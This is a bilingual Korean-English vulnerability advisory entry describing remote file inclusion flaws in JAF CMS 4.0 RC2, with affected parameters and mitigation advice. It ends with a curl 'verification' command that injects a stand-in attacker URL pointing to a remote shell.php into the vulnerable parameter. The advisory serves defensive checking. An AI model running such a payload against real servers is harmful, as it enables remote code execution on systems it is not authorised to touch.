🇰🇷 한글 설명
JAF CMS 4.0 RC2의 여러 파일에서 website 및 main_dir 매개변수에 대한 검증 부재로 인해 원격 파일 포함 취약점 발생. 공격자는 악의적인 URL을 통해 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
JAF CMS라는 웹사이트 관리 도구에 악의적인 파일 경로를 입력할 수 있는 보안 구멍이 있습니다. 이를 통해 해커가 서버에서 자신이 원하는 코드를 실행할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in just another flat file (JAF) CMS 4.0 RC2 allow remote attackers to execute arbitrary PHP code via a URL in the (1) website parameter to (a) forum.php, (b) headlines.php, and (c) main.php in forum/, and (2) main_dir parameter to forum/forum.php. NOTE: other main_dir vectors are already covered by CVE-2006-7127.
📍 영향받는 시스템
Just Another Flat File (JAF) CMS 4.0 RC2
⚔️ 공격 벡터
forum.php, headlines.php, main.php의 website 파라미터 또는 forum.php의 main_dir 파라미터에 원격 파일 URL을 입력하여 RFI(Remote File Inclusion) 공격 수행
🛡️ 대응 방법
JAF CMS를 4.0 RC2 이후 버전으로 업그레이드하고 파일 포함 함수의 입력값 검증을 강화하며 외부 파일 포함을 비활성화
🔧 검증 코드
curl 명령어로 취약한 파라미터에 원격 파일 URL을 전달했을 때 PHP 코드 실행이나 예상치 못한 응답이 나오면 취약, 403/404/정상 페이지가 나오면 안전
curl -s 'http://target/forum/forum.php?website=http://attacker.com/shell.php' | grep -i 'php\|shell\|error' && echo 'VULNERABLE' || echo 'CHECK_RESPONSE'